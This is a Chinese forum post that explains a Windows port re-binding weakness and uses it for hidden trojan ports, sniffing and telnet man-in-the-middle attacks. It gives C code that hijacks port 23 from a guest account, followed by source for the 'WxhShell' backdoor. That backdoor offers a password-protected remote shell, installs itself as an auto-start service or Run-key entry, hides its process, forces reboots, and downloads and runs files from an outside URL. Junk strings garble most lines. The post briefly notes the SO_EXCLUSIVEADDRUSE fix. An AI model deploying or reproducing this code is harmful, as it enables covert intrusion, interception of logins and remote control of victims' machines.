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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \?Mf_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  f:wd&V  
c0ez/q1S  
  saddr.sin_family = AF_INET; v+=k-;-  
<&<,l58[c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r?A|d.Tl  
G[h(xp?,l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :!Ig- +W  
]|U-y6 45  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {2 %aCCV  
HjA_g0u  
  这意味着什么?意味着可以进行如下的攻击: p'f%%#I  
% /}WUP^H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B$vr'U   
#yW\5)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o>?*X(+le  
~@4'HMQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 syPWs57pH  
.lNs4e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ! bU\zH  
Xsuwa-G!5~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z0bJ?~w,  
iqwkARG"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ai"-w"  
'91".c,3?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F$MX,,4U  
F|+W.9  
  #include xW_yLbE  
  #include <rIz Z'D  
  #include /6+NU^  
  #include    @|\R}k%(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @=Fi7M  
  int main() %o w^dzW  
  { 8VQ 24r  
  WORD wVersionRequested; x\\~SGd  
  DWORD ret; $uj(G7_  
  WSADATA wsaData; 4 !#a3=_  
  BOOL val; p$E8Bn%[  
  SOCKADDR_IN saddr; } JiSmi6o  
  SOCKADDR_IN scaddr; qO@@8/l  
  int err; ~9\zWRh  
  SOCKET s; r0]4=6U  
  SOCKET sc; q| .dez'  
  int caddsize; # 1.YKo  
  HANDLE mt; )G1P^WV4  
  DWORD tid;   n_u1&a'  
  wVersionRequested = MAKEWORD( 2, 2 ); 6oD\-H  
  err = WSAStartup( wVersionRequested, &wsaData ); k`{7}zxS  
  if ( err != 0 ) { +q<B.XxkA  
  printf("error!WSAStartup failed!\n"); 58V[mlW)O0  
  return -1; nBItO~l  
  } XORk!m|  
  saddr.sin_family = AF_INET; 51B lM%  
   H1EDMhn/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "v-(g9(  
!j:`7PT\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GV.A+u  
  saddr.sin_port = htons(23); I97yt[,Yy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s{bdl[7  
  { o@bNpflb`  
  printf("error!socket failed!\n"); od' /%  
  return -1; ANi)q$:{  
  } [ ho (z30k  
  val = TRUE; xiblPF_n3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 . T JEUK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,u9M<B<F  
  { V5f9]D  
  printf("error!setsockopt failed!\n"); 3< Od0J  
  return -1; lB91An  
  } ~lAKJs#{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M~Ttb29{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Cq)IayD@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ro(Zmk\t  
(la[KqqCO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U_GgCI)  
  { rQ`i8GF  
  ret=GetLastError(); l^MzN  
  printf("error!bind failed!\n"); LwcIGhy  
  return -1; GB7/x*u   
  } Hu3wdq  
  listen(s,2); [U, ?R  
  while(1) p>vU?eF  
  { mTNB88p8^D  
  caddsize = sizeof(scaddr); IuF_M<d,  
  //接受连接请求 Nes=;%&]G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _PFnh)o  
  if(sc!=INVALID_SOCKET) 2i{cQ96  
  { Iq7}   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vQ}6y  
  if(mt==NULL) T:]L/wCj  
  { \b=Pj!^gwb  
  printf("Thread Creat Failed!\n"); $Xm6N@  
  break; I pzJ#  
  } (6l+lru[  
  } Cqii}  
  CloseHandle(mt); RwI[R)k  
  } gD`>Twa&6  
  closesocket(s); WYB{% yf   
  WSACleanup(); Isy'{ -H  
  return 0; 7{@l%jx][  
  }   XW{>-PBg:  
  DWORD WINAPI ClientThread(LPVOID lpParam) FGWN}&K  
  { 94sk kEj  
  SOCKET ss = (SOCKET)lpParam; CI U1R;  
  SOCKET sc; (" ~ DJ=  
  unsigned char buf[4096]; 8K(Z0  
  SOCKADDR_IN saddr; F!zP<A "  
  long num; >MK>gLg}!  
  DWORD val; =@2FX&&E_  
  DWORD ret; k3?rp`V1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;W>Cqg=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c~QS9)=E  
  saddr.sin_family = AF_INET; =OIw*L8C"I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  qy)_wM  
  saddr.sin_port = htons(23); BrRL7xX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K~=UUB  
  { sJwyj D$b  
  printf("error!socket failed!\n"); /sM~U q?  
  return -1; AfeCK1mC@  
  } @%k}FL=:t(  
  val = 100; GdV1^`M6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~Tbj=f  
  { 4P^6oh0"  
  ret = GetLastError(); (C4fG@n  
  return -1; 8 C[/dH  
  } 3(TsgP >`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dL7E<?l  
  { Y!iZW  
  ret = GetLastError(); 8k q5ud  
  return -1; !Z VU,b>  
  } _iNq"8>2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~{sG| ;/!*  
  { !EUan  
  printf("error!socket connect failed!\n"); Bqma\1cgb  
  closesocket(sc); W>-Et7&2  
  closesocket(ss); A_Frk'{qhB  
  return -1; oh# \]c\f  
  } 8-<:i  
  while(1) "-@[R  
  { 4_Dp+^JF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `u>4\sv  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {*{Ox[Nh{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Eu"_MgD  
  num = recv(ss,buf,4096,0); 'y8]_K*  
  if(num>0) U9b?i$  
  send(sc,buf,num,0); .bBdQpF-  
  else if(num==0) Y0eE-5F,  
  break; 4pw6bK,s2\  
  num = recv(sc,buf,4096,0); D %Xo&V[  
  if(num>0) quY:pqG38q  
  send(ss,buf,num,0); MSf;ZB  
  else if(num==0) KYzv$oK  
  break; F:x [  
  } h=;{oY<V)?  
  closesocket(ss); w$JvB5O  
  closesocket(sc); H":oNpfb  
  return 0 ; 3R+|5Uq8~  
  } 2-Y<4'>  
D!7`CH+  
8M!:N(a  
========================================================== (5]}5W*  
<b,~:9*?  
下边附上一个代码,,WXhSHELL oudxm[/U  
[eTSZjIN7  
========================================================== 9on@Q_7m  
~69&6C1Ch  
#include "stdafx.h" )1X#*mCxk  
ZP{*.]Qu  
#include <stdio.h> '7O3/GDK  
#include <string.h> vVOh3{e|  
#include <windows.h> '],J$ge  
#include <winsock2.h> @S|XGf  
#include <winsvc.h> 1GzAG;UUo6  
#include <urlmon.h> y5!KXAQ%  
a+n0|CvF  
#pragma comment (lib, "Ws2_32.lib") T=ev[ mS  
#pragma comment (lib, "urlmon.lib") x7O-Y~[2  
2}8v(%s p  
#define MAX_USER   100 // 最大客户端连接数 |\pbir  
#define BUF_SOCK   200 // sock buffer #U14-^7  
#define KEY_BUFF   255 // 输入 buffer 82l~G;.n3  
&jmRA';sK  
#define REBOOT     0   // 重启 K6R.@BMN  
#define SHUTDOWN   1   // 关机 TYW&!sm  
wmTb97o  
#define DEF_PORT   5000 // 监听端口 .9wk@C(Eh_  
=?!wXOg_  
#define REG_LEN     16   // 注册表键长度 ;+"+3  
#define SVC_LEN     80   // NT服务名长度 \ Yx/(e  
%7|9sQ:  
// 从dll定义API `nu''B H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ofs <EQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $< JaLS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .mR8q+I6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <7~'; K  
A}l3cP; `#  
// wxhshell配置信息 WPQ fhr#|  
struct WSCFG { a |X a3E  
  int ws_port;         // 监听端口 ui?  
  char ws_passstr[REG_LEN]; // 口令 &v@a5L  
  int ws_autoins;       // 安装标记, 1=yes 0=no LGn:c;  
  char ws_regname[REG_LEN]; // 注册表键名 }4,L%$@n  
  char ws_svcname[REG_LEN]; // 服务名 'dn]rV0(C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DMOMh#[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2'w?\{}D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \.-bZ$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gw!vlwC&T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w(L4A0K[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :> 5@cvc  
q#%xro>m  
}; j:v@pzTD  
fb~ytl<  
// default Wxhshell configuration HAa; hb  
struct WSCFG wscfg={DEF_PORT, yU*8|FQbP  
    "xuhuanlingzhe", nlc "c5;jh  
    1, tS6qWtE  
    "Wxhshell", $&n=$C&x  
    "Wxhshell", F1yqxWHeo  
            "WxhShell Service", [1S|dc>.O%  
    "Wrsky Windows CmdShell Service", " )1V]}+m  
    "Please Input Your Password: ", cz8T  
  1, p^w;kN  
  "http://www.wrsky.com/wxhshell.exe", lN Yt`xp  
  "Wxhshell.exe" JJN.ugT}1  
    }; M<v%CawS  
t7aefV&_,  
// 消息定义模块 :/nj@X6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cPlZXf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H*PSR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eceP0x  
char *msg_ws_ext="\n\rExit."; fumm<:<CLO  
char *msg_ws_end="\n\rQuit."; 50S&m+4d+  
char *msg_ws_boot="\n\rReboot..."; _z|65H  
char *msg_ws_poff="\n\rShutdown..."; C&(N I  
char *msg_ws_down="\n\rSave to "; Yo6*C  
|IzPgC  
char *msg_ws_err="\n\rErr!"; [<@.eH$hU/  
char *msg_ws_ok="\n\rOK!"; + R~'7*EI  
&OH={Au  
char ExeFile[MAX_PATH]; Fww :$^_ k  
int nUser = 0; W:pIPDx1=!  
HANDLE handles[MAX_USER]; pOIJH =#  
int OsIsNt; cQ R]le %(  
k5'Vy8q  
SERVICE_STATUS       serviceStatus; s;ls qQk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vg32y /l]S  
b gK}-EU  
// 函数声明 u0 `S5?  
int Install(void); T4Pgbop  
int Uninstall(void); W')Yg5T  
int DownloadFile(char *sURL, SOCKET wsh); VY7[)  
int Boot(int flag); _l8 9  
void HideProc(void); \!.B+7t=I  
int GetOsVer(void); UM"- nZ>[  
int Wxhshell(SOCKET wsl); L0TFo_  
void TalkWithClient(void *cs); +nFu|qM}  
int CmdShell(SOCKET sock); W{ q U  
int StartFromService(void); !Wntd\w  
int StartWxhshell(LPSTR lpCmdLine); n{ar gI8wF  
-&zZtDd F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rlOAo`hd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Rl?_^dPx  
f.KN-f8<F  
// 数据结构和表定义 g}1B;zGf  
SERVICE_TABLE_ENTRY DispatchTable[] = V17%=bCZ5[  
{ iP ->S\  
{wscfg.ws_svcname, NTServiceMain}, r@H /kD  
{NULL, NULL} . YAT:;L  
}; m[~y@7AK<  
*k.G5>@  
// 自我安装 3YOq2pW72G  
int Install(void) "*e$aTZB\  
{ qN9(S:_Px  
  char svExeFile[MAX_PATH]; -=)H{  
  HKEY key; }C"%p8=HM  
  strcpy(svExeFile,ExeFile); NJWA3zz   
I-]?"Q7Jz  
// 如果是win9x系统,修改注册表设为自启动 .ypL=~Rp  
if(!OsIsNt) { $9_xGfx}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $ r@zs'N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6]WAUK%h  
  RegCloseKey(key); |\pj;XU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -b9\=U[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R'as0 u\  
  RegCloseKey(key); SJn;{X>)q  
  return 0; [}E='m}u9+  
    }  M^=zt  
  } On9A U:\  
} 6*78cg Io  
else { FXG]LoP  
"c%0P"u  
// 如果是NT以上系统,安装为系统服务 FrfM3x6UM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gwuI-d^  
if (schSCManager!=0) d;Ym=YHJtn  
{ :^6y7&o[  
  SC_HANDLE schService = CreateService *K8$eDNZ  
  ( hd%F nykq  
  schSCManager, '}53f2%gKa  
  wscfg.ws_svcname, J?"B%B5c  
  wscfg.ws_svcdisp, {4<C_52t  
  SERVICE_ALL_ACCESS, aFX=C >M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !C ':  
  SERVICE_AUTO_START, uP)'FI  
  SERVICE_ERROR_NORMAL, BUDi& |,  
  svExeFile, *5C7d*'  
  NULL, g[' ^L +hd  
  NULL, 8Z8gRcv{p  
  NULL, 2j [=\K]  
  NULL, C!<Ou6}!b  
  NULL XPXIg  
  ); )4e.k$X^  
  if (schService!=0) _YhES-Ff  
  { l`lk-nb  
  CloseServiceHandle(schService); {T$9?`h~M  
  CloseServiceHandle(schSCManager); tTl%oN8Qw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M6 "PX *K  
  strcat(svExeFile,wscfg.ws_svcname); U`(ee*}o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k_#ak%m/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t%0VJB,Q2  
  RegCloseKey(key); tKOmoC  
  return 0; {L{o]Ii?g  
    } 1hY{k{+o  
  } HmGWht6R  
  CloseServiceHandle(schSCManager); o q Xg  
} {3mRq"e  
} EHJ.T~X  
t\dN DS  
return 1; :D5Rlfj  
} L\J;J%fz.  
b|:YIXml  
// 自我卸载 ~g]Vw4pv  
int Uninstall(void) ;WQve_\  
{ Ua: sye  
  HKEY key; gD @){Ip  
 JYI,N  
if(!OsIsNt) { {UI+$/v#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N)X3XTY  
  RegDeleteValue(key,wscfg.ws_regname); xef% d G.  
  RegCloseKey(key); g wRZ%.Cn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |tH4:%Q'  
  RegDeleteValue(key,wscfg.ws_regname); Q~ w|#  
  RegCloseKey(key); Rsm^Z!sn  
  return 0; Vx u0F]%  
  } tCH!my_  
} L ca}J&x]^  
} /hR&8 `\\  
else { -=Q*Ml#I  
~!d\^Z^i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9s q  
if (schSCManager!=0) V~3a!-m\  
{ s2V:cMXFn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L,/%f<wd  
  if (schService!=0) D;*SnU(9L  
  { iOghb*aW  
  if(DeleteService(schService)!=0) { Rr]H y^w  
  CloseServiceHandle(schService); tXs\R(?T  
  CloseServiceHandle(schSCManager); k1~&x$G  
  return 0; cOJo3p;&  
  } jvL[ JI,b  
  CloseServiceHandle(schService); NH4#  
  } IHac:=*Q  
  CloseServiceHandle(schSCManager); v@L;x [Q  
} K($Npuu]  
} 6<QQ@5_  
r#p9x[f<Y  
return 1; +~$ ]} %  
} !wVM= z^G  
<iC(`J$D  
// 从指定url下载文件 j</: WRA`]  
int DownloadFile(char *sURL, SOCKET wsh) M5X&}cN6  
{ %ntRG !  
  HRESULT hr; Xc-'Y"}|`t  
char seps[]= "/"; T.BW H2gRP  
char *token; A?P_DA  
char *file; 6%_nZvRv  
char myURL[MAX_PATH]; UB@+c k  
char myFILE[MAX_PATH]; K+3=tk]W9u  
+I|vzz`ZVr  
strcpy(myURL,sURL); 2HA:"v8  
  token=strtok(myURL,seps); X.{S*E:$u  
  while(token!=NULL) \~$#1D1f  
  { N~)_DjQP5  
    file=token; FTUv IbT  
  token=strtok(NULL,seps); LU%E:i|  
  } yR{3!{r3(  
f.$af4 u  
GetCurrentDirectory(MAX_PATH,myFILE); C_JNX9wv  
strcat(myFILE, "\\"); ^hM4j{|&M  
strcat(myFILE, file); dUZ ,m9u  
  send(wsh,myFILE,strlen(myFILE),0); ;4|15S  
send(wsh,"...",3,0); <\^8fn   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }Zn}  
  if(hr==S_OK) aX'*pK/-  
return 0; sDlO#  
else S2&4g/  
return 1; + =</&Tm  
pl?`8@dI  
} ?CPahU  
d\8l`Krs[_  
// 系统电源模块 !pX>!&sb  
int Boot(int flag)  x'<X!gw  
{ + [mk<pQ  
  HANDLE hToken; ?Z/V~,  
  TOKEN_PRIVILEGES tkp; b3, _(;A!  
H*CW1([  
  if(OsIsNt) { @*( (1(q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1oGw4kD^x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8<Av@9 *}  
    tkp.PrivilegeCount = 1; <0!):zraS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jQB9j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Tyx_/pJT  
if(flag==REBOOT) { /82b S|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s.C_Zf~3  
  return 0; aqk!T%fg  
} UZ+<\+q3^  
else { kt:! 7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YIYmiv5  
  return 0; EaN6^S=  
} ZUd-<y  
  } r;N|)  
  else { u'BaKWPS  
if(flag==REBOOT) { (*iHf"=\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [{,1=AB  
  return 0; `[ir}+S  
} CLRdm ^B  
else { SwMc pNo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XwaXdvmK  
  return 0; *$g-:ILRuZ  
} vr =#3>  
} +CNv l  
( a#BV}=  
return 1; v.qrz"98-  
} &tj!*k'  
P&LsVR{#  
// win9x进程隐藏模块 FQ\h4` >B  
void HideProc(void) /%^#8<=|U  
{ 3[*}4}k9  
H4+i.*T#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ep{FpB  
  if ( hKernel != NULL ) ]h5tgi?_l  
  { eJ-nKkg~a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C,4e"yynb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fz "Y CHe  
    FreeLibrary(hKernel); SvF<p3  
  } =dN@Sa/  
N;`n@9BF  
return; o`-msz  
} 6Z"X}L,*  
}N52$L0[  
// 获取操作系统版本 ^iV)MTT  
int GetOsVer(void) qIT@g"%}t  
{ 'm$L Ij?@  
  OSVERSIONINFO winfo; DN6Mo<H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #%O0[kd  
  GetVersionEx(&winfo); r9?Mw06Wc5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EfT=?  
  return 1; h/Y'<:  
  else N"ST@/j.A  
  return 0; tQ#n${a@f  
} YGNP53CU  
]7A'7p $Y  
// 客户端句柄模块 t%8BK>AHvw  
int Wxhshell(SOCKET wsl) G 01ON0  
{ S,8e lKH4  
  SOCKET wsh; p5*EA x  
  struct sockaddr_in client; =Dj#gV  
  DWORD myID; "\yT7?},  
2GG2jky{/  
  while(nUser<MAX_USER) zfdl45  
{ I7 ]8Y=xf  
  int nSize=sizeof(client); ftSW (og  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v`T c}c '  
  if(wsh==INVALID_SOCKET) return 1; qf-8<{T  
)boE/4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -mh3DhJ,  
if(handles[nUser]==0) 'V>-QD%1  
  closesocket(wsh); M"L=L5OH-  
else }x ,S%M-  
  nUser++; apn*,7ps65  
  } 1|:KQl2q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UPGtj"2v-  
s5. CFA  
  return 0; *0ro0Z|Iq  
} 6 !bsM"F  
Q,Eo mt  
// 关闭 socket |w3M7;~eF  
void CloseIt(SOCKET wsh) gRzxLf`K  
{ 19#\+LWA  
closesocket(wsh); D2O~kN d  
nUser--; |uJ%5y#  
ExitThread(0); 5mR 1@  
} J .<F"r>  
|V(0GB  
// 客户端请求句柄 yt2PU_),  
void TalkWithClient(void *cs) 6L~n.5B~o  
{ E?@m?@*/  
CvdN"k  
  SOCKET wsh=(SOCKET)cs; : rVnc =k  
  char pwd[SVC_LEN]; cz$2R  
  char cmd[KEY_BUFF]; 8 FhdN  
char chr[1]; iURe([@  
int i,j; B-mowmJ3dg  
}-2|XD%]  
  while (nUser < MAX_USER) { |':{lH6+1  
_"{Xi2@H  
if(wscfg.ws_passstr) { HVAYPerH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {4PwLCy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GA.8@3  
  //ZeroMemory(pwd,KEY_BUFF); z(~_AN M4,  
      i=0; u1.BN>G  
  while(i<SVC_LEN) { ~>XxGjxe  
eJX#@`K  
  // 设置超时 ji= "DYtL  
  fd_set FdRead; R@2X3s:  
  struct timeval TimeOut; A=>u 1h69  
  FD_ZERO(&FdRead); D m9sL!  
  FD_SET(wsh,&FdRead); X wtqi@zlE  
  TimeOut.tv_sec=8; h yIV.W/  
  TimeOut.tv_usec=0; [-x7_=E#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5IG-~jzCLb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (V@HR9?W)  
4&iCht =  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vKR[&K{Z|  
  pwd=chr[0]; y_[vr:s5pG  
  if(chr[0]==0xd || chr[0]==0xa) { ")25 qZae  
  pwd=0; S|}L&A  
  break;  AOx[  
  } S8gs-gL#Og  
  i++; %jM,W}2  
    } K<J9 ~  
W_ ZJ0GuE(  
  // 如果是非法用户,关闭 socket T^q 0'#/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T]$U""  
} g\AY|;T  
fc@A0Hf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zBH2@d3W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A2Tw<&Tw(  
)`}:8y?  
while(1) { aQ~s`^D  
xN(|A}w  
  ZeroMemory(cmd,KEY_BUFF); !!y a  
 .wr>]yN  
      // 自动支持客户端 telnet标准   nj4/#W  
  j=0; i mM_H;-X  
  while(j<KEY_BUFF) { c`Wa^(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tnIX:6  
  cmd[j]=chr[0]; g=I})s:CTp  
  if(chr[0]==0xa || chr[0]==0xd) { .e5Mnd%$M  
  cmd[j]=0; j|Q-*]V  
  break; C7?/%7{  
  } et+0FF ,  
  j++; P|> ~_$W  
    } A)KZa"EX  
|K~Nw&rZ]  
  // 下载文件 ]%(2hY~i  
  if(strstr(cmd,"http://")) { y> (w\K9W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xLn%hxm?,  
  if(DownloadFile(cmd,wsh)) H[|~/0?K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~{gqsuCCL  
  else zMJT:7*`|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); We z 5N  
  } Q=:|R3U/  
  else { BORA(,  
PRT +mT  
    switch(cmd[0]) { {:W$LWET  
  Vz[C=_m  
  // 帮助 M:V_/@W.  
  case '?': { @|)Z"m7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8r!zBKq2~  
    break; nF/OPd  
  } ~_ a-E  
  // 安装 $]8Q(/mbK  
  case 'i': { F<w/PMb  
    if(Install()) RT5T1K08I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MY/}-* |  
    else  LIdF 0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h1(4Ic  
    break; Np)lIGE  
    } J. @9zA&  
  // 卸载 I O> yIU[  
  case 'r': { GH xp7H  
    if(Uninstall()) DeYV$W B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yppo6HGD  
    else D3A/l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5M_H NWi4  
    break; p<;0g9,1  
    } ,Lt[\_  
  // 显示 wxhshell 所在路径 |)G<,FJQE_  
  case 'p': { Xry4 7a )  
    char svExeFile[MAX_PATH]; R FH0  
    strcpy(svExeFile,"\n\r"); { BHO/q3  
      strcat(svExeFile,ExeFile); G#1GXFDO{  
        send(wsh,svExeFile,strlen(svExeFile),0); PxE3K-S)G  
    break; \|ao`MMaD<  
    } 9k=3u;$v  
  // 重启 v9UD%@tZ  
  case 'b': { :j`s r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~v"L!=~G;a  
    if(Boot(REBOOT)) m4yL@d,Yw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '%`:+]!  
    else { 6`-jPR  
    closesocket(wsh); JMM W  
    ExitThread(0); [fIg{Q  
    } c0fo7|  
    break; I2^8pTLh  
    } <^uBoKB/f  
  // 关机 sT' 5%4  
  case 'd': { ]0\MmAJRn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O| hpXkV  
    if(Boot(SHUTDOWN)) +'w3 =2Bo  
